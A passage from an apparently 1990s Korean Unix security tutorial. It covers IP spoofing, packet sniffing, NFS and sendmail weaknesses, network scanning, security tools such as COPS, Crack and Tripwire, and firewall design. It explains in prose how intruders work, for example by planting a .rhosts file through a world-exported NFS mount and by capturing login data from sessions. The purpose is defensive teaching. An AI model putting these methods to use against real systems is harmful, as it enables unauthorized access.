        프로그램들을 실행할 수 있는  entity를 포함할 수 있는 내부 버그
        에 의한  문제가 존재한다. 이러한 문제점에  대한 해결책은 alias
        혹은 관련된 파일은 루트  권한 이 외의 사용자에게 쓰기를 허용치
                                 않는 것이다.
          운영체제 자체의 문제로는 bin과  같은 시스템 관리에 관련된 권
        한을 이용하여  프로그램을 실행할 수 있다는  점과 전달된 메일을
        다른 지정된 곳으로 전송하는 .forward 파일을 shadow password 파
        일과 같은 중요한 파일로  링크해 놓는 경우이다. 이러한 문제들은
        현재 배포된 sendmail에서는  교정되어 있어서 sendmail 버젼을 업
               그레이드하는 것으로 문제를 쉽게 해결할 수 있다.
                               3. 침입수법의 이해
           CERT/CC의 통계 보고에  의하면 인터넷 사용자 수가 기하급수적
        으로 늘어나는  것과 비례하여 발생하는 보안  사고의 수도 해마다
        늘고 있는 추세이다. 보안  사고의 유형도 1988년도에 단순한 계정
        및 패스워드에 대한  공격 형태를 보였으나 1990년대를 접어들면서
        공격 형태가 파일 시스템과 네트워크의 취약점을 이용한 형태로 바
        뀌고 있는 추세이다.   이러한 추세에 따라 CERT/CC에 보고된 많은
        사례 중 1994년과 1995년에  가장 빈번히 발생되고 있는 것으로 보
        고된 IP Spoofing, Packet Sniffing, NFS Attacks, E-mail related
           Attacks, Network Scanning 등에 대하여 알아 보도록 하자.
                                3.1 IP Spoofing
           IP Spoofing은 TCP/IP 프로토콜의  구조적 결함, 즉 TCP 시퀀스
        번호(sequence number), 소스  라우팅(routing), 소스 주소를 이용
        한 인증(authentication)  메카니즘 등을  이용한 방법으로서 인증
        (authentication) 기능을 가지고  있는 시스템에 침입하기 위해 침
        입자가 사용하는 시스템을  신뢰성있는 호스트(trusted host)로 위
                               장하는 방법이다.
           IP Spoofing을 이용한 침입은 패킷의 내용을 변경하여 스크리닝
        라우터와 방화벽 시스템을 통과하는 단계, 자신을 신뢰성있는 호스
        트로 인식하도록 하는 단계,  그리고 트로이 목마 프로그램을 설치
        하는 등의 목적한 작업을 하기 위해 호스트의 접근 권한 혹은 가능
            하면 루트 권한을 획득하는 단계 등의 세단계로 구성된다.
           IP  Spoofing에  대한  예방책은 크게  탐지(detection),  예방
        (prevention), 그리고  복구(recovery) 등으로  나눌 수  있다. IP
        Spoofing의 탐지는 네트워크 모니터링 소프트웨어를 이용하여 외부
        에서 들어오는 패킷의 소스  IP 주소와 목적 IP 주소를 검사함으로
        서 발견할 수 있다. 만일,  특정 패킷이 로컬 도메인의 소스 IP 주
        소를 포함하고 있다면, 내부  네트워크는 침입자에 의해 침입을 당
        하고 있는 중일  것이다. 또다른 탐지 방법은  내부 네트워크 내의
        모든 시스템  간에 이루어진 프로세스  로그(log)를 비교하는 것이
                                     다.
           이렇게 IP Spoofing에 의한 침입 여부가 탐지되면, 대상 시스템
        내에 설치된 트로이  목마 프로그램 혹은 백도어(backdoor)가 설치
        되어 있는지를 검사해야 한다.  혹은 침입자가 이미 사용하고 있는
        커넥션을 가로채려고 하는  경우 터미널에 사용자가 입력하지 않는
        명령이 출력되거나 윈도우 상에 입력한 명령에 대한 응답이 출력되
              지 않는다면 일단 침입을 당한 것으로 판단해야 한다.
           IP Spoofing을 예방하는  방법으로는 네트워크와 시스템에 대한
        대책으로 구별할 수 있다.  먼저 네트워크에 대한 사항으로는 내부
        네트워크를 외부의 IP  Spoofing으로부터 보호하기 위해서 패킷 필
        터링 기능과 보안 취약성이 보강된 라우팅 프로토콜을 포함하고 있
        는 라우터를 설치한다. 또한, RIP와 같이 보안 취약성이 많은 라우
        팅 프로토콜을 보안 취약성을 보강한 프로토콜로 교체하는 것도 좋
        은 방법이다. 만일, 라우터가 설치되지 않은 경우 방화벽 시스템을
        설치하여 패킷을 필터링할 수 있는 기능과 함께 소스 IP 주소를 이
        용하여 인증하는 응용프로그램을  사용하지 않아야 한다. 또한, 외
        부로 나가는 패킷의 소스  IP 주소를 변경하여 내부 네트워크 정보
        가 외부에 노출되는 것을  방지하여 침입을 어느정도 방지할 수 있
        다. 시스템 내에서는  소스 IP 주소를 이용한  인증에 대한 대책과
                 시퀀스 번호 조작에 대한 대책을 세워야 한다.
                              3.2 Packet Sniffing
           현재 가장 많이  사용하는 방법으로 tcpdump, snoop, sniffer등
        과 같은 네트워크 모니터링 도구(network monitoring tool)를 이용
        하여 네트워크에 돌아다니는  패킷의 내용을 분석하여 필요한 정보
        를 알아내는 것이다. 이  침입방법은 네트워크에 연동되어 있는 호
        스트 뿐만 아니라 외부에서 내부 네트워크로 접속하는 모든 호스트
        들이 위헙대상이 된다. 침입자는 먼저 자신의 시스템 혹은 보안 취
              약점을 가진 시스템에 침입하여 루트권한을 획득한다.
           그런다음, 이 시스템에 다시 로그인(login)하기 위해 트로이 목
        마 프로그램 혹은 백도어를 설치한 후,그 시스템이 속해 있는 네트
        워크상의 모든 ftp, telnet, 그리고 rlogin 세션들의 처음 128개의
        문자를 가로챌 수 있는 네트워크 모니터링 도구를 설치하여 실행한
        다. 일반적으로  처음 128문자내에는  시스템명, 사용자명, 그리고
        패스워드에 대한 정보가  포함되어 있어서 이정보를 이용하면 아무
        런 어려운 없이 네트워크  내의 모든 호스트에 로그인이 가능하며,
        그 시스템의 모든 자원들에 대한 권한을 획득하게 되는 것이다. 이
        렇게 침입자가 네트워크 모니터링 도구를 이용 한다면 내부 네트워
        크에서 외부 네트워크에 있는 시스템에 접근하기 위해 접속하는 모
        든 시스템에 대한 정보를 획득할 수 있어 로컬 네트워크 뿐만 아니
                  라 다른 네트워크들도 위험에 빠질 수 있다.
           Packet Sniffing에 대한 대책은  탐지, 예방, 그리고 복구 등의
        세단계로 나눌 수 있다. 우선 네트워크 모니터링 도구는 다양한 프
        로세스명과 로그 화일명을 사용할 수 있으므로 이러한 도구들을 탐
        지하는 가장 좋은 방법은  그들이 가진 다음과 같은 특징을 탐색하
                                  는 것이다.
          - 네트워크 모니터링 도구를  숨기기 위한 트로이 목마 프로그램
                                   의 동반 여부
                              - 의심스런 프로세스
                           - /dev/nit의 불법적인 사용
           Sniffing은  물리적으로  모든  Ethernet  연결을  검색하거나,
        SunOS,  NetBSD, 그리고  BSD  계열의  운영체제에서는 sniffing이
        promiscuous 모드에서 운영된다는  사실을 이용하여 "ifconfig -a"
        명령을 사용하여 검색할 수 있다. 이 결과를 검색하여 promiscuous
        모드로 운영되는 인터페이스 존재여부를 검색하여 sniffing 여부를
        판단하게  된다.  또한,  CERT에서  발표한 cpm을  이용하는  것과
        Ultrix 시스템의 pfconfig와  pfstat를 이용한다. 마지막 방법으로
        는 sniffer의 로그파일을  찾아내는 방법이다. 이 로그파일은 네트
        워크의 크기에 따라 달라질  수 있다. 만일, 많은 호스트가 연결된
        네트워크를 sniffing한다면 당연히  이 로그파일의 크기는 매우 커
        질 것이다. 이것을 위해 COAST에서 발표한 lsof(LiSt Open File)이
                         라는 도구를 사용할 수 있다.
           Sniffing을 이용한 공격 형태를 예방하기 위해서는 컴퓨터 간에
        전송되는 모든  정보를 암호화하여 전송하는  것이다. 이것은 가장
        쉬운 방법으로는 deslogin, swIPe, Netlock 등의 암호화 도구를 이
        용할 수 있다. 또다른  예방법으로는 one-time password 기능을 제
        공하는 도구들을 사용하는  것이다. one-time 패스워드를 제공하는
        도구들로는 공개 소프트웨어인 "S/KEY"라는 프로그램을 이용하거나
        상용 제품들을 사용하면 어느정도는  예방할 수 있다. 마지막 예방
        법으로 근본적인 sniffing 원리를  제거하는 방법이 있다. 이 방법
        은 시스템의 커널에 존재하는 promiscuous 모드를 제공하는 인터페
        이스(/dev/nit의  기능)를  제거하는  방법으로  SunOS  4.x  혹은
             Solbourne 시스템에서 이것을 하는 과정은 다음과 같다.
                     # cd /usr/kvm/sys/sun[3,3x,4,4c]/conf
                           # cp CONFIG_FILE SYS_NAME
                              # chmod +w SYS_NAME
                                 # vi SYS_NAME
                                 ..............
                pseudo-device       snit            #stream NIT
               pseudo-device       pf             #packet filter
            pseudo-device       nbuf           #NIT buffering module
                                      :wq
                               # config SYS_NAME
                                # cd ../SYS_NAME
                                     # make
                               ..................
                            # mv /vmunix /vmunix.old
                               # cp vmuix /vmunix
                                   ..........
                                  # /etc/halt
                                3.3 NFS Attacks
           SunOS 3.x부터 도입된  NFS는 네트워크의 여러 호스트들이 하나
        의 파일 시스템을 공유하는 것을 가능하게 해 준다. 하지만 NFS 서
        버가 세심하게 지정되지  않는다면 네트워크의 어느 컴퓨터나 서버
        의 파일 시스템을 읽고 쓸 수가 있는 중요한 보안 취약성을 내포하
                                   고 있다.
           대부분의 유닉스는 /etc/exports  또는 /etc/dfs/dfstab에서 다
        른 호스트가 mount할 수 있는 파일 시스템을 export할 파일 시스템
        을 지정할 수 있다. 하지만, 많은 관리자들이 호스트들을 지정하지
        않아 그 파일 시스템은 world export된 상태가 되어 Internet의 어
        느 호스트에서나 mount할 수  있게 된다. 이런 경우 외부에서 사용
        자의 패스워드를  몰라도 일단 export된  디렉토리를 mount한 다음
        원하는 사용자의 $HOME/.rhosts를  만들어서 rlogin 또는 rsh을 이
        용하여 로그인할 수 있다. 또한, nfsbug라는 프로그램을 이용해 시
                스템 상의 NFS에 대한 취약성을 검색할 수 있다.
          이러한 NFS의 보안 취약성을  예방하기 위해 취해야 하는 조치는
                                 다음과 같다.
                     1) 방화벽 혹은 라우터에서 패킷 필터링
                 2) Proxy 접근을 허용하지 않는 portmapper 사용
                        3) /etc/exports 파일의 구성 점검
            - 자신 호스트 상에서 NFS 서버에 대한 self-reference 여부
                             - localhost 포함 여부
                           - 접근을 허용하는 호스트들
                       - export list의 256문자 초과 여부
             - export가 정확하게 이루어지는지의 여부(showmount이용)
                         - 파일 시스템의 접근 허용 점검
                           3.4 E-mail related Attacks
           sendmail은 초기 설정  상태로 루트 권한을 이용하여 구동되며,
        루트 권한을 이용하여 메일을  전달한다. 그 후에 메일을 해당되는
        사용자의 ID로 변환해 준다. 또한, sendmail이 구성파일을 읽을 경
                  우 루트 권한을 가지고 모든 일을 처리한다.
          이처럼 모든  일을 루트 권한을 이용하여  처리하기 때문에 만일
        초기 구성 파일을 잘못 설정한다면 침입자에게 공격당할 위험에 처
        하게 된다. sendmail에 대한 보안 취약성은 크게 다음과 같이 구분
                                    된다.
                             - 구성 파일 설정 문제
                            - 내부 버그에 의한 문제
                             - 운영체제 자체의 문제
          이러한 문제들은  현재 배포된  sendmail에서는 교정되어 있어서
        sendmail 버젼을 업그레이드하는 것으로 문제를 쉽게 해결할 수 있
                                     다.
                              3.5 Network Scanning
           Network Scanning 공격 형태는 원격 시스템의 보안 취약성을 검
        색해주는 프로그램을 이용하여 정보를  수집한 후, 이 정보에 제시
        된 취약점을  공격하여 비인가된 접근 권한을  얻는 것이다. 특히,
        최근에 많이 사용되고 있는  ISS 혹은 SATAN 등을 이용하는 사례가
         많아지고 있다. [그림 3]는 Network Scanning의 공격 형태이다.
                           [그림 3] Network Scanning
                                4. 보안도구 활용
           인터넷/유닉스 환경에서  침입자들의 침입을  예방하거나 막고,
        점검하는 도구들이 많이  발표되어 있는데., 공개된 도구들을 간략
        히 소개함으로서 침입자들의  침입을 예방하는데 도움이 되고자 한
        다.  여기서는 도구들의  간략한 소개만 하지 설치방법으라든가 실
        행예는  지면  관계상  싣지  않기로 하겠다.  대부분의  소스들은
             ftp://ftp.cert-kr.or.kr/pub/tools에서 구할 수 있다.
           ==========================================================
                             도구명            기능
           ==========================================================
               COPS             일반적인 시스템 보안 점검 및 보고
                   Crack            패스워드를 알아내는 도구
                         CPM              LAN 모니터링
                MD5              RFC1321, Cryptograpic Checksum
          SATAN            네트워크 취약점 공격 (Netscape, Perl5 가 필
                                               요)
                  Sniffer          네트워크상의 패킷 감청/보고
                Sudo             시스템 관리자권한의 제한된 허용
                Swatch           시스템 로구 분석 및 보고 시스템
                  Tcp_Wrapper      네트워크에서의 엑세스 제어
                 Tripwire         파일시스템 Integrity  Checker
          ============================================================
               4.1 Cops (Computerized Oracle and Password System)
           UNIX 시스템의 보안검사  프로그램으로서 전반적인 보안 취약점
        을 자동적으로 체크해준다.  여러가지 모듈로 이루어져 있으며, 이
        모듈들은 각각 특정 취약성에 대해 점검하며 만일 새로운 취약성이
        발견되면 사영자가 발견된  취약성을 점검하는 모듈을 작성하여 첨
        가 할 수  있다. COPS는 root가 아닌 일반  user들도 사용할 수 있
        다. 또한  COPS는 보안  취약점을 진단만하지  고쳐주지는 않는다.
                     COPS가 검사하는 부분은 다음과 같다.
                 - file, directory, device 등에 대한 permission
                            - 예측하기 쉬운 패스워드
           - 패스워드 파일과 그룹파일의 내용, format 그리고 securtiy
           - /etc/rc* 와 cron (tab)에 의하여 실행되는 progarm과 file
          - root-SUID  파일들의 존재여부와  그들 파일의 writablility와
                          shell script 인지에 대한 여부
                - 중요한 바이너리 또는 key 파일에 대한 CRC 체크
          - 사용자들의 홈  디렉토리와 startup 파일(.profile, .cshrc등)
                                 의 writablility
                             - anonymouse ftp setup
          - 제한없는  tftp, sendmail의 decode alias,  SUID uudecode 문
            제, indtd.conf 내부의 숨은 shell, inetd.conf에서의 rexd 운
                                        영
          -  다방면에   걸친  root  체크  ---   search  path에서  현재
             directory, /etc/host.equiv안에 있는  "+", 제한없는 NFS 마
                                      운트등
             - CERT advisories의 버그나 security hole에 관련된 파일
                                4.2 Tcp_Wrapper
           Network  service(finger, frp,  telnet,  rlogin,  rsh, exec,
        tftp,  talk  등)에   대한  요구를모니터링  및  필터링하여  log
        file(service를 요청한 client  name과 service name을 기록)을 만
        들며  몇가지 부가적인  보안  체크를 하는  보안  강화 도구이다.
        Tcpwrapper는 크기도  작을 뿐더러  system에 존재하는 software나
        configuration   file를바꿀  필요가   없으며   client와  server
        application 사이의  실질적인 communication에  대해 부하를 주지
        않는다. TCP_wrapper는 네트웍 패킷으로부터 얻어지는 소스 어드레
        스 정보를  바탕으로 access  control, host name  spoofing, host
        address   spoofing,   client    username   lookups,   language
        extensions,  multiple  ftp/gopher/www  archives on  one  host,
        banner messages,  sequence number guessing  등의 기능을 수행한
                                     다.
                                  4.3 Tripwire
           Tripwire는 Purdue  University에서 제작한  화일과 디렉토리의
        무결성(integrity)를 검사하는 도구이다. 이 유틸리티는 이전에 만
        들어진 데이터베이스에 저장된  정보와 현재 존재하는 화일과 디렉
        토리의  정보를 비교한다.  그  결과로 나오는  모든  다른 점들을
        logging한다. 시스템  관리자는 Tripwire를  통하여 확인되지 않은
        누군가(cracker)에 의하여 화일이나 디렉토리가 수정되었는지 그렇
             지 않았는지에 대하여 좀 더 확신을 가질 수 있게 된다.
                                    4.4 ISS
           ISS(Internet Security Scanner)는  시스템의 취약점을 찾는 것
        이 아니라, multi-level security scanner이다. 즉, 원격 호스트의
        포트 검색을 기본으로 하는 보안 검사기이다. ISS는 보안과 관련되
        고, 고쳐야할  명확한 misconfigurations을  관리자에게 알려준다.
        ISS에서 발견되는 security hole들은 그리 심각한 것들은 아니지만
        잘못 설정되어 있으면 위험하다. ISS가 검사하는 부분은 다음과 같
                                     다.
             - guest, lp. bbs 등과 같이 필요없는 계정들의 존재 여부
                               - 잘 알려진 버그들
                      - NFS의 export 파일에 대한 접근 권한
                     - 시스템을 사용중인 사용자에 대한 정보
                            5. 방화벽 시스템의 이해
           방화벽 시스템은 필수적인  인터넷 서비스의 엑세스를 허락함과
        동시에 기관의 보안레벨을 확실히 증가시킬 수 있는 최선의 해결을
        제공하는 방법이다. 물론 이  방화벽 시스템을 구현하는 것이 충분
        한 보장을 해준다고는 볼  수 없으나 가장 효과적이고 비용이 비교
        적 저렴하게 드는  방법이라고 볼 수 있는  것이다. 여기서는 보안
        취약성으로부터 호스트를 어떻게 보호하는 가와 방화벽의 구성요소
        를 포함한 방화벽의 개략적인 내용과 구현시 관리적 측면에서 알아
             야 할 것 그리고 방화벽시스템 제품들에 대해 소개한다.
                         5.1.  방화벽시스템의 기본 개념
           아마 방화벽이 아닌 것을  먼저 설명하는 것이 최선일 것 같다.
        방화벽은 간단히 라우터, 호스트  시스템 또는 네트워크 보안을 제
        공하는 시스템의 집합이 아니라, 오히려 방화벽은 보안에의 접근이
        다. 즉, 허락되는 서비스와 엑세스를 정의 하는것 같은 보다 큰 보
        안 정책의 수행을 도우며, 네트워크 구성, 그리고 하나 또는 그 이
        상의 호스트 시스템과  라우터 그리고 안정된 패스워드에서 진보된
        인증같은 그러한 정책의수행이다. 방화벽 시스템의 주된 목적은 보
        호된 네트워크 안.밖으로의 엑세스를 컨트롤하는 것이다. 즉, 트래
        픽을 시험하고 평가할 수 있는 방화벽을 지나는 접속을 제어함으로
                   써 네트워크 엑세스 정책을 수행하게 된다.
          방화벽 시스템은 라우터, 퍼스날 컴퓨터, 호스트 또는 외부 호스
        트들로부터 악용될 수  있는 프로토콜과 서비스로부터 사이트 또는
        서브넷을 보호하기 위해 특별히 셋업된 호스트들의 집합일 수도 있
        다. 방화벽 시스템은 사이트의 인터넷 접속과 같은 하이-레벨 게이
        트웨이에 통상 위치한다.  그러나, 방화벽 시스템은 호스트나 서브
        넷의 보다 작은 집합을  보호하기 위해 로우-레벨 게이트웨이에 위
                               치할 수도 있다.
                              5.1.1 왜 방화벽인가?
          방화벽의 원래 의미는 건물에서  발생한 화재가 더 이상  번지는
        것을 막는 것이다. 이러한  의미를 인터넷에서 쓴다면 이는 네트워
        크의 보안  사고나 문제가 더이상 확대되는  것을 막고 격리하려는
        것으로 이해될 수 있다. 특히 어떤 기관 내부의 네트워크를 보호하
        기 위해 외부에서의  불법적인 트래픽 유입을 막고, 허가되고 인증
         된 트래픽만을  허용하려는 적극적인 방어대책임을 알 수 있다.
          방화벽시스템의 기본 목표는  네트워크 사용자에게  투명성을 보
        장하지 않아 약간의  제약을 주더라도 위험지대를 줄일려는 적극적
        인 보안대책을 제공하려는 것이다.   다음 [그림 4]은 일반적인 인
        터넷과의 접속을 하고 있는 네트워크를 보여주고 있는데, 외부와의
        투명성으로 내부망  전체가 위험지대임을  보여주고 있으며, [그림
        5]의 경우에는 외부와  내부 네트워크사이의 유일한 패스에 방화벽
        시스템을 둠으로서 방화벽시스템이  보안서비스를 제공하여 불법적
        인 트래픽을 거부하거나 막을 수 있는 것이다. 물론 투명성을 보장
        하지는 않지만 내부 네트워크를 안전지대로 만들 수 있는 것이다.
          방화벽 시스템으로의 접근은 전반적인 호스트 보안을 증진시키는
        데 도움을 줌으로써 사이트에  많은 이점을 제공한다. 방화벽을 사
                용함에 있어서 다음과 같은 이점을 얻을 수 있다.
                          가. 취약한 서비스로부터 보호
                     나. 호스트 시스템으로의 엑세스 컨트롤
                                다. 보안의 집중
                             라. 확장된 프라이버시
                마. 네트워크 사용과 비사용에서의 로깅과 통계자료
                                 바. 정책 시행
                      5.1.2  방화벽시스템의 기본 구성 요소
          방화벽시스템에 대한 각종 토론이 이루어지는 그룹에서는 방화벽
        시스템에 대한 일반적인 용어  정의 및 개념을 도출하였다. 그리고
        방화벽시스템이 가지는 여러가지 기능과 보안 대처 수준에 따라 여
        러가지 종류의 방화벽시스템이 존재할  수 있으나, 여기서는  일반
        적인 방화벽시스템의 구성요소를  소개한다. 이는 방화벽시스템 개
         발자,  운영자 및 컨설트업체들이 거의 동의하고 있는 개념이다.
                       가. 네트워크 정책(Network Policy)
          방화벽 시스템의  설계, 설치, 사용에 직접적으로  영향을 줄 수
        있는 두가지 레벨의 네트워크 정책이 있다. 하이-레벨 정책은 명확
        한 이슈 즉, 제한된  네트워크로부터 서비스를 허락할 것인가 또는
        명확히 거부할  것인가를 정의하는 네트워크  엑세스 정책, 이러한
        서비스들을 어떻게 사용할 것인가,  그리고 이러한 정책의 예외 조
        건등이다. 로우-레벨 정책은 어떻게 방화벽이 실질적으로 엑세스를
        제한하고 하이-레벨 정책에서 정의한 서비스를 필터링 할 것인가에
                                대한 사항이다.
          나.방화벽시스템의 사용자인증 시스템(Advanced Authentication)
          방화벽시스템은 한 기관의  네트워크 전체를 보호해야 하므로 일
        반적으로 유닉스시스템에서 사용되는 단순한 패스워드 기법으로 사
        용자를 인증하는 방법을  사용하지는 않는다. 우수한 인증수단으로
        는 Smartcards, Authentication tokens, Biometrics 그리고 소프트
        웨어 메카니즘 등을 사용한다. 현재 많이 사용하고 있는 우수한 인
        증시스템으로서는 일회용패스워드(One Time Passwd)를 보통 채택하
                                   고 있다.
                        다.패킷 필터링(Packet Filtering)
          IP 패킷 필터링은 통상 라우터 인터페이스를 지나는 패킷을 필터
        링하기 위해 설계된 패킷 필터링 라우터(packet filtering router)
        을 사용하여 행해진다. 패킷 필터링 라우터는 IP 패킷중 다음의 전
                       부 또는 일부를 필터링할 수 있다.
                              - source IP address
                            - destination IP address
                              - TCP/IP source port
                           - TCP/IP destination port
               라. 응용계층게이트웨이(Application Level Gateway)
          응용계층서비스들은  중간전달방법(Store-and-Forward)방법을 쓰
        는 경우가 많은데, 이는  게이트웨이에서 수행할 방법과 그대로 맞
        아떨어지게 된다. 게이트웨이는  송신자 응용서비스가 보내는 각종
        정보를 그대로  전달하면 되는 것이다.  이 응용계층의 게이트웨이
        기능은 가상서버(Proxy Server)라는  인터넷의 클라이언트/서버 개
                    념에서 나온 서버 기능을 제공하게 된다.
                        마. 스크린라우터(Screen Router)
          어떤 기관이  인터넷에 접속할  경우 대부분 라우터(Router)라는
        인터넷 패킷을 전달하고 경로배정(Routing) 을 담당하는 장비를 사
        용하게 된다.  이러한 라우터는 단순장비가  아니라면 패킷의 헤더
        내용을 보고 필터링(스크린)할 수 있는 능력을 가지고 있다.  네트
        워크 수준의 IP(Internet  Protocol) 데이타그램에서는 출발지주소
        및  목적지  주소에  의한  스크린,    TCP(Transmission  Control
        Protocol) 수준의  패킷에서는 네트워크응용을  판단케해주는 포트
        (Port) 번호에 의해 스크린,  프로토콜별 스크린 등의 기능을 제공
        하게 된다.  이 스크린  라우터 만을 가지고도 어느정도 수준의 보
        안 접근제어를 통해 방화벽시스템 환경을 구현할 수 있으나 라우터
        에서 구현된 펌웨어의 수준으로는 제한점이 많고 복잡한 정책을 구
        현하기 어려우므로 보통 스크린라우터와 다음에서 설명하는 베스쳔
                           호스트를 함께 운영한다.
                        바. 베스쳔호스트(Bastion Hosts)
          베스쳔호스트는 방화벽시스템이 가지는  기능 중 가장 중요한 기
        능을 제공하게 된다. 원래 베스쳔(Bastion)은 중세 성곽의 가장 중
        요한 수비부분을 의미하는데,  방화벽시스템 관리자가 중점 관리하
        게 될 시스템이 된다.  그래서 방화벽시스템의 중요 기능으로서 접
        근제어 및  응용시스템 게이트웨이로서  가상서버(Proxy Server)의
        설치, 인증,  로그등을 담당하게 된다.  그러므로 이 호스트에서는
        외부의 침입자가 주로 노리는 시스템이 되므로 일반 사용자의 게정
        을 만들지 않고  해킹의 대상이 될 어떠한  조건도 두지 않는 가장
        완벽한 시스템으로서 운영되어야 한다.  보통 판매되는 방화벽시스
           템은 이러한 베스쳔호스트를 제공하는 것이라고 보면 된다.
                    사. 이중네트워크호스트(Dual-Homed Hosts)
          복수네트워크호스트는 2개 이상의  네트워크에 동시에 접속된 호
        스트를 말하며 보통  게이트웨이호스트라고 말하는 시스템이 된다.
        2개의 네트워크, 즉 외부네트워크와 내부네트워크를 의미하고 외부
        네트워크와 내부네트워크간의 유일한 패스를 제공하도록 조정된다.
        즉 동적인 경로배정과 경로정보전달을 배제하므로 모든 내.외부 트
        래픽은 이 호스트를  통과하도록 하여 베스쳔호스트의 기능을 여기
                           에 구현하면 되는 것이다.
                       자. 스크린서브네트(Screen Subnet)
          스크린 서브네트는  일명 DMZ(DeMiliterization  Zone)의 역할을
        외부네트워크와 내부네트워크 사이에  두겠다는 것으로서 완충지역
        개념의 서브네트를 운영하는 것이다.   여기에 스크린 라우터를 이
        용하여 이 완충지역을  곧장 통과 못하게 하지만 외부네트워크에서
        도 내부네트워크에서도 이 스크린서브네트에 접근할 수는 있다. 특
        히 어떤  기관에서 외부로  공개할 정보서버(Information Server),
        즉 익명FTP서버,  고퍼(Gopher) 서버, 월드와이드웹(WWW)서버 등을
                            여기에 운영하면 된다.
                          5.2 방화벽 시스템 구축 방안
             방화벽 시스템을 구축하는데는 개념적으로 2개의 타입 즉,
                  * 네트워크 레벨(Network Level) 방화벽 시스템,
                  * 응용 레벨(Application Level) 방화벽 시스템
          이 있다. 이러한  2가지 타입에 대해 어떤  것이 좋고 어떤 것이
        나쁘다는 식의 판단을 내리기는 어려운 점이 있지만 기관의 요구사
              항에 어떤 것이 부합되는지를 잘 판단하는 것이 좋다.
          네트워크 레벨의 시스템은 IP 패킷의 Source/Destination 어드레
        스와 포트에 의해결정하게 된다.  단순한 라우터는 낡은 방식의 네
        트워크 레벨 방화벽을 제공하는데, 이것은 어떤 패킷이 동작하는지
        어떠한 네트워크에서 왔는지를  판단해야 하는 복잡한 규칙에 대해
        판단하기 어렵고, 현재의 네트워크 레벨 방화벽은 매우 복잡해져서
        허용된 접속들의 상태와 어떤  종류의 데이타 내용 등을 관리할 수
                                    있다.
          한가지 중요한 구별점은  네트워크 레벨 방화벽이 라우트를 직접
        제어할 수 있으며,  할당된 IP 블럭을 정당하게  사용할 수 있도록
        해준다는 점이다. 네트워크  레벨 방화벽은 매우 빠르며, 사용자에
                         게 투명한 서비스를 보장한다.
          * 네트워크 레벨  방화벽의 사례 : "스크린호스트방화벽" 이라고
        할 수 있으며, 하나의 호스트에서의 접근제어가 네트워크 레벨에서
        동작하는   라우터에서  이루어지며,   이때의   하나의  호스트란
                             "Bastion Host"이다.
          응용 레벨 방화벽은 2개의  네트워크 간에 항상 직접적인 트래픽
        을 막고, 트래픽에대해 로그,  Audit 기능 등이 지원되는 프락시를
        실행하는 기계를 말한다. 프락시 응용은 방화벽의 소프트웨어 부분
        이므로 많은 로그와 접근 제어  기능을 주는 것이 좋은 것이다. 응
        용레벨 방화벽은 어드레스 번역기로서  사용될 수 있다. 어떤 쪽에
        서 들어와 다른 쪽으로 나가기 때문에 처음 시도한 접속에 대해 효
        과적인 마스킹을 할 수 있는 것이다. 이렇게 중도에 응용을 가지는
        것은 어떤 경우에는 성능에 문제를 가질 수 있으며, 투명성이 보장
        되지 않는다. TIS 툴킷 등에 구현된 것과 같은 초기 응용레벨 방화
        벽은 일반사용자에게 투명하지도 않으며, 어떤 연습이 필요하였다.
        최근의 응용레벨 방화벽은  투명성이 보장되며, 보다 상세한 Audit
        보고와 네트워크 레벨 방화벽보다 보다 온전한 보안 모델을 제공하
                                   고 있다.
          * 응용레벨 방화벽  사례 : "이중네트워크게이트웨이(Dual-Homed
        Gateway)"이 있을수 있으며,  프락시를 실행하는 고도의 보안이 제
        공되는 시스템이다.  이것은 2개의  네트워크 인터페이스를 가지고
        하나의 네트워크 인터페이스에  대해서는 모든 트래픽이 그냥 통과
                              되는 것을 막는다.
          미래의 방화벽시스템은 네트워크레벨과  응용레벨 방화벽의 어떤
        정도에 해당된다.이것의  의미는 네트워크레벨에서는  보다 상위의
        기능을 가지려 하고 응용레벨에서는 보다 하위 기능을 가지려 하기
        때문이다. 최종 결과는  아마 매우 빠른 패킷  스크린 기능과 모든
        트래픽에 대한 로그와 Audit 등이 예측되며, 특히 네트워크를 통해
        전달되는 트래픽의 보호를  위해 암호 기법이 사용되리라고 보여진
                                     다.
                       5.3 방화벽 시스템 구축시 고려 사항
          앞에서 설명한 구성요소를  가지고 우리는 실질적으로 방화벽 시
        스템에서 요구하는 대부분의 기능을 구현할수 있는데, 방화벽 시스
        템의 가장 중요한 목적인 내부 네트워크의 보호라는 관점에서 다음
        의 고려 사항을 염두에 두고 방화벽의 설계 및 사양을 작성하거나,
               구현 혹은 설치를 어떻게 할지를 판단하여야 한다.
          첫째, 가장 중요한 이슈로서  당신의 조직이 어떻게 시스템을 운
        영할 것인지에 대한 정책을  반영하는 것으로서, 매우 중요한 네트
        워크에서의 작업을 제외하고는  모든 접속을 거부하는 식의 시스템
        을 운영할 것인가 아니면  덜 위협적인 방법으로 접속해 오는 모든
        트래픽에 대해 조사하고  점검하는 방식으로 시스템을 운영할 것인
        가라는 선택을 할  수 있다. 이러한 선택은  결정권에 대한 당신의
        태도에 달려있으며,  특히 엔지니어링 측면의  결정 보다 정책적인
                             결정에 따르게 된다.
          둘째, 어느 정도 수준의  모니터링, 백업 및 제어를 원하는가 라
        는 문제이다. 첫번째 이슈로서 기관이 받아들일 수 있는 위험 수준
        이 세워졌다면, 이제 어떤  것을 모니터하고, 허용하고, 거부할 것
        인가라는 체크리스트를 작성해야  한다. 즉, 기관의 전체적인 목적
        을 결정하고  위험평가에 근거한 필요성  분석을 하며, 구현하고자
        계획하여 사양을 마련했던 목록과 구별될 수 있는 문제점들을 가려
                                    낸다.
          셋째, 경제적인 문제이다.  우리가 여기에서 정확하게 지적할 수
        있지는 못하지만 이것을 구매하는데 드는 비용과 구현에 드는 비용
        을 정확하게 정량적으로 산출하고자 하는 것이 중요하다.  예를 들
        어 완전한 방화벽제품의 구매에  드는 비용은 무료에서 100,000 달
        러에 이를 수 있으며,  무료에는 Cisco라우터의 비용과 구성 및 스
        태프의 인건비 등은 포함되지 않은 것이다. 제품 구매에 드는 비용
        에는 월 30,000달러 의 인건비 등이 포함된다. 그리고 시스템 관리
        에 드는 오버헤드  등이 포함된다. 방화벽 시스템의  우선 설치 및
        구현에 드는 비용 뿐  아니라 지속적으로 드는 비용과 지원비 등이
                               계산되어야 한다.
          넷째, 기술적인 측면에서 몇가지 결정해야 할 것이 있는데, 기관
        내부의 네트워크와 네트워크  서비스 제공자 사이에서의 고정적 트
        래픽 라우팅 서비스 등에 대해서도 결정하야 한다. 트래픽라우팅은
        라우터에서의 IP 수준의 스크린 규칙이나 혹은 프락시게이트웨이나
                서비스에서의 응용 수준 등에서 구현되어야 한다.
